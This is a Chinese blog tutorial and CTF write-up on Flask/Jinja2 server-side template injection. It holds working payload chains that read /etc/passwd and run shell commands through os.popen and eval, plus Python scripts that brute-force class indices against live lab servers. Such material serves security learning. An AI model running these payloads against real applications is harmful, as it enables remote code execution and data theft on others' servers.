SSTI模板注入

news2024/11/23 13:43:02

目录

1、原理简述

2、常用payload及相关脚本

(1)''.__class__    

(2)''.__class__.__base__   

(3)''.__class__.__base__.__subclasses__()   

(4)''.__class__.__base__.__subclasses__()[xx]   

(5)''.__class__.__base__.__subclasses__()[xx].__init__.__globals__ 

(6)函数调用

① 子类可以直接调用的函数

② 重载函数

③ 内嵌函数

(7)常用脚本

① 找类的位置

② 找危险函数eval、popen位置

(8)比较通用的脚本

(9)__mro__[xx]

3、实战:攻防世界 Web_python_template_injection


1、原理简述

漏洞成因:flask

flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。

from flask import Flask,request,render_template_string

app = Flask(__name__)

@app.route('/test')
def index():
    str = request.args.get('myon')

    html_str ='''
    <html>
    <head></head>
    <body>{{str}}</body>
    </html>
    '''

    return render_template_string(html_str,str = str)

if __name__ == '__main__':
    app.debug = True
    app.run()

上面代码将传入的字符串直接当成字符串去传递给html_str代码,不会解析

而当我们将代码改为

from flask import Flask,request,render_template_string

app = Flask(__name__)

@app.route('/test')
def index():
    strinput = request.args.get('myon')

    html_str ='''
    <html>
    <head></head>
    <body>{}</body>
    </html>
    '''.format(strinput)

    return render_template_string(html_str)

if __name__ == '__main__':
    app.debug = True
    app.run()

这里我们可以控制输入,这是直接进行渲染,并且会进行解析

比如我们传入?myon={{7*7}}便会得到49的回显,说明被执行了

{{}}是变量包裹标识符,不仅可以传递变量,还可以执行一些简单的表达式

2、常用payload及相关脚本

首先进行一个简单判断,确实存在SSTI

(1)''.__class__    

          //读取当前类

(2)''.__class__.__base__   

          //读取当前类的父类

 (3)''.__class__.__base__.__subclasses__()   

           //读取object下的所有子类

(4)''.__class__.__base__.__subclasses__()[xx]   

          //选择其中的一个子类

 (5)''.__class__.__base__.__subclasses__()[xx].__init__.__globals__ 

          //初始化并加载该类下的可用函数

(6)函数调用

注意:至于为什么用的是79,117,64,看完(7)就明白了

① 子类可以直接调用的函数

比如文件读取<class '_frozen_importlib_external.FileLoader'>类下的get_data函数

''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")

 ② 重载函数

比如危险函数popen

''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()

//不加read()返回的是地址

加上read() 

③ 内嵌函数

先使用__builtins__加载内嵌函数,再调用内嵌函数

''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

//eval()里面就可以写python代码

''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

(7)常用脚本

注意:针对题目有无参数以及传参方式的不同我们需要写不同的脚本

① 找类的位置

import html

import requests

url='http://1.14.110.159:18080/flasklab/level/1'   //替换成题目的url

def find_class_num():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}"
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text  //本题是只允许post传参
        htmltest =html.unescape(re)
        print(htmltest)
        if '_frozen_importlib_external.FileLoader' in re:  //替换成你想查找的类
            print(i)
            return i
find_class_num()  //如果存在这个类,则会输出该类所在位置

 跑完之后我们发现存在_frozen_importlib_external.FileLoader这个类,且位置是[79]

接下来便可调用该类下的get_data函数去进行文件读取【参考 (6)①】

② 找危险函数eval、popen位置

import html

import requests

url='http://1.14.110.159:18080/flasklab/level/1'   //替换成题目的url

def find_eval():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text //这里也是post传参
        htmltest =html.unescape(re)
        # print(htmltest) //只找函数位置,若想看详细回显则可以取消注释
        if 'popen' in re:
            print(i)
            return i
find_eval()

 跑出来发现位置为[64],接下来我们便可利用内嵌函数eval 进行命令执行【参考(6)③】

这个脚本同样适用于找popen函数,有一点小修改

因为popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__

其实也不一定,可以加上和去掉都试试,因为具体情况还是取决于题目给的环境)

import html

import requests

url='http://1.14.110.159:18080/flasklab/level/1'   //替换成题目的url

def find_popen():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__}}"  //popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        #print(htmltest)
        if 'popen' in re: //修改查找的函数名
            print(i)
            return i
find_popen()

发现也存在,位置是[117],用法参考【(6)②】

准确来说我们是先找popen函数,没找到再去找eval函数

如果globals下面没有可以直接利用的重载函数,就加载内嵌函数,使用内嵌函数来命令执行。

(8)比较通用的脚本

各位可以自己测试和修改

import html

import requests

url=''
parm_name=''

def find_class_num(class_name):
    for i in range(500):
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}"
        data = {parm_name:parm_value}
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        print(htmltest)
        if class_name in re:
            print(f"{class_name}所在的位置:",i)
            return i
def find_eval(func):
    for i in range(0,500):
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
        data = {parm_name:parm_value}
        # print(data)
        print(f"正在查找第{i}个类下的{func}")
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        # print(htmltest)
        if func in re:
            print(i)
            print(f"find,利用:{parm_value}")
            return i
if __name__ == '__main__':
    print("请求方式是post,get方式请更改函数里面的请求参数。")
    url = input("输入URL:")
    parm_name = input("输入参数:")
    choice=eval(input("操作:1,查找类,2,查找内嵌函数:"))
    if choice==1:
        class_name = input("输入查找类:")
        find_class_num(class_name)
    if choice ==2:
        func = input("输入查找的函数:")
        find_eval(func)

(9)__mro__[xx]

这个也是用来读取父类,和__base__类似,因为有时候base会被过滤掉,我们就可以用这个,

里面的xx表示你要读取它的上几级,比如__mro__[1]就相当于__base__ 都是读取上一级类型,

但xx不一定为1,可以往上读取很多级,只要它存在更高级别的父类就可以。

比如:

使用base查找发现不对

 换用mro,便可以找到(前提是这个object父类存在)

3、实战:攻防世界 Web_python_template_injection

eval、popen、import这些函数都可以跑,有时候在重载,有时候在内嵌,最好都试试

这道题是不支持post传参,这里我们编写get传参的脚本

import html

import requests

url='http://61.147.171.105:59139/'

def find_class_num():
    for i in range(0,500):
        # parm_value = "{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}" //跑类位置
        parm_value ="{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"  //跑函数位置
        # data = {url+parm_value}
        # print(data)
        print(url+parm_value)
        re = requests.get(url=url+parm_value).text
        # print(re)
        # print(htmltest)
        if 'eval' in re:
            print(i)
            return i
find_class_num()

跑出eval函数位置在[58]

 直接上前面讲过的与eval函数有关的payload,并修改位置即可

所以payload为:

{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

发现fl4g,直接调用cat命令:

{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()")}}

拿到 ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

后面会继续介绍SSTI模板注入的常见绕过,谢谢关注与支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/717981.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【周末闲谈】浅谈“AI+算力”

随着人工智能技术的飞速发展&#xff0c;“AI算力”的结合应用已成为科技行业的热点话题&#xff0c;甚至诞生出“AI算力最强龙头“的网络热门等式。该组合不仅可以提高计算效率&#xff0c;还可以为各行各业带来更强大的数据处理和分析能力&#xff0c;从而推动创新和增长。 文…

ue4:Dota总结—HUD篇

1.绘制ui&#xff1a; DrawMoney&#xff1a; DrawPower&#xff1a; 点击ui响应事件&#xff1a; 点击响应显示对应的模型&#xff1a; 点击ui拖动模型跟随鼠标移动&#xff1a; 显示ui&#xff1a;PlayerContrler&#xff1a;

【JAVA】Java 开发环境配置(WIndows篇)

个人主页&#xff1a;【&#x1f60a;个人主页】 系列专栏&#xff1a;【初始JAVA】 文章目录 前言下载JDK配置环境变量JAVA_HOME 设置PATH设置CLASSPATH 设置变量设置参数 前言 在前篇中我们介绍了JAVA语言的诞生与发展&#xff0c;现在是时候去学习使用他们了。 下载JDK 首先…

常微分方程(ODE)求解方法总结(续)

常微分方程&#xff08;ODE&#xff09;求解方法总结&#xff08;续&#xff09; 1 隐式方法2 多步法2.1 二阶方法2.1.1 非自启动修恩方法2.2 开型和闭型积分公式2.3 高阶多步法 1 隐式方法 常微分方程&#xff08;ODE&#xff09;求解方法总结 里面介绍了我称为“正常思路”的…

Jira UI Locations及注意事项总结

issue view ui locations : https://developer.atlassian.com/server/jira/platform/issue-view-ui-locations/#issue-operations-bar-locations1.问题操作栏Issue Operations Bar Locations模块分为两部分: opsbar-operationsflopsbar-transitions两个location.共同定义了问题…

【力扣】111、二叉树的最小深度

111、二叉树的最小深度 给定一个二叉树&#xff0c;找出其最小深度。 最小深度是从根节点到最近叶子节点的最短路径上的节点数量。 说明&#xff1a;叶子节点是指没有子节点的节点。 // var minDepth function(root){if(!root) return 0;const stack [ [ root ,1] ];//…

零拷贝详解

目录 一、什么是零拷贝 二、传统的IO执行流程 三、零拷贝相关的知识点回顾 1、内核空间&用户空间 2、用户态&内核态 3、上下文切换 4、虚拟内存 5、DMA技术 四、零拷贝实现的几种方式 1、mmapwrite实现的零拷贝 2、sendfile实现的零拷贝 3、sendfileDMA sc…

MySQL原理探索——23 MySQL是怎么保证数据不丢的

今天这篇文章&#xff0c;我会继续介绍在业务高峰期临时提升性能的方法。从文章标题“MySQL 是怎么保证数据不丢的”&#xff0c;你就可以看出来&#xff0c;今天我介绍的方法&#xff0c;跟数据的可靠性有关。 在前面文章&#xff0c;我都着重介绍了 WAL 机制&#xff08;你可…

ElementUI plus框架Table表格cell-style属性的使用

官方文档说明&#xff1a; 例&#xff1a;设置单元格文字居中 Object方式&#xff1a; function方式&#xff1a;

安全 --- http报文包详解及burp简单使用

HTTP HTTP&#xff08;超文本传输协议&#xff09;是今天所有web应用程序使用的通信协议。最初HTTP只是一个为了获取基本文本的静态资源而开发的简单协议&#xff0c;后来对其进行扩展和利用&#xff0c;使其发展为能够支持如今常见的复杂分布式应用程序。 &#xff08;1&…

PADS-LAYOUT菜单及工具使用

目录 1菜单栏 1.1文件菜单 1.2编辑菜单 1.3查看菜单 1.4设置菜单 1.5工具菜单 1.6帮助菜单 2工具栏 2.1标准工具栏 2.2绘图工具栏 2.3设计工具栏 2.4尺寸标注工具栏 2.5ECO工具栏 3系统配置 3.1全局选项 3.2设计选项 3.3栅格和捕获选项 3.4显示选项 3.5布线选…

【UnityDOTS 六】预制实例化成Entity

预制实例化成Entity 前言 从Authoring模式中&#xff0c;如何通过预制件来实例化一个对应的Entity对象到DOTS系统中。 一、Authoring模式与Runtime模式 Authoring创作模式&#xff1a;即我们熟悉的方便操作的创建预制的模式 Runtime模式&#xff1a;运行模式&#xff0c;即在…

Three.js教程:网格模型

推荐&#xff1a;将 NSDT场景编辑器 加到你的3D工具链 工具集&#xff1a; NSDT简石数字孪生 网格模型(三角形概念) 本节课给大家演示网格模型Mesh渲染自定义几何体BufferGeometry的顶点坐标,通过这样一个例子帮助大家建立**三角形(面)**的概念 三角形(面) 网格模型Mesh其实…

Spring Boot 中的 XA 事务

Spring Boot 中的 XA 事务 在现代化的应用程序开发中&#xff0c;事务管理是一个重要的话题。事务管理可以确保数据的一致性和完整性&#xff0c;同时也可以避免数据丢失和冲突等问题。在分布式环境中&#xff0c;XA 事务是一种常用的事务管理方式。在本文中&#xff0c;我们将…

基于麦克风阵列模块I2s6路slot数字音频信号的ADSP/STM32F4处理

hezkz17进数字音频系统研究开发交流答疑 1麦克风阵列 2 ADAU1452 DSP 输入接口 3 PCM数据算法处理

uni-app获取节点的相关信息

获取单个节点&#xff1a; selectorQuery.select(selector) 在当前页面下选择第一个匹配选择器 selector 的节点&#xff0c;返回一个 NodesRef 对象实例&#xff0c;可以用于获取节点信息。 selector 说明&#xff1a; selector 类似于 CSS 的选择器&#xff0c;但仅支持下列…

Jenkins 参数化构建

目录 前言&#xff1a; 以下是Jenkins官方的介绍&#xff1a; 首先新建一个自由风格的job&#xff0c;然后勾选“This project is parameterized”&#xff0c;如下图&#xff1a; 勾选参数构建 choice parameterized&#xff1a; 选项&#xff1a; 使用参数&#xff1a;…

linux驱动struct file_operations`中设置`owner`成员变量。

在Linux内核中&#xff0c;struct file_operations结构体是用来定义一个文件操作的集合。该结构体中包含了一组函数指针&#xff0c;这些函数指针指向了与文件操作相关的函数&#xff0c;例如文件的打开、关闭、读写、定位等操作。同时&#xff0c;该结构体中还包含了一些元数据…

Opencv项目实战:00 专栏内容介绍

目录 Opencv项目实战专栏介绍&#xff1a; 01 文字检测OCR 02 角度探测器 03 扫描二维码&条形码 04 全景图片拼接 05 物体检测 06 文档扫描仪 07 人脸识别和考勤系统 08 Yolov3更高精度的检测物体 09 物体尺寸测量 10 面部特征提取及添加滤镜 11 使用Opencv高亮…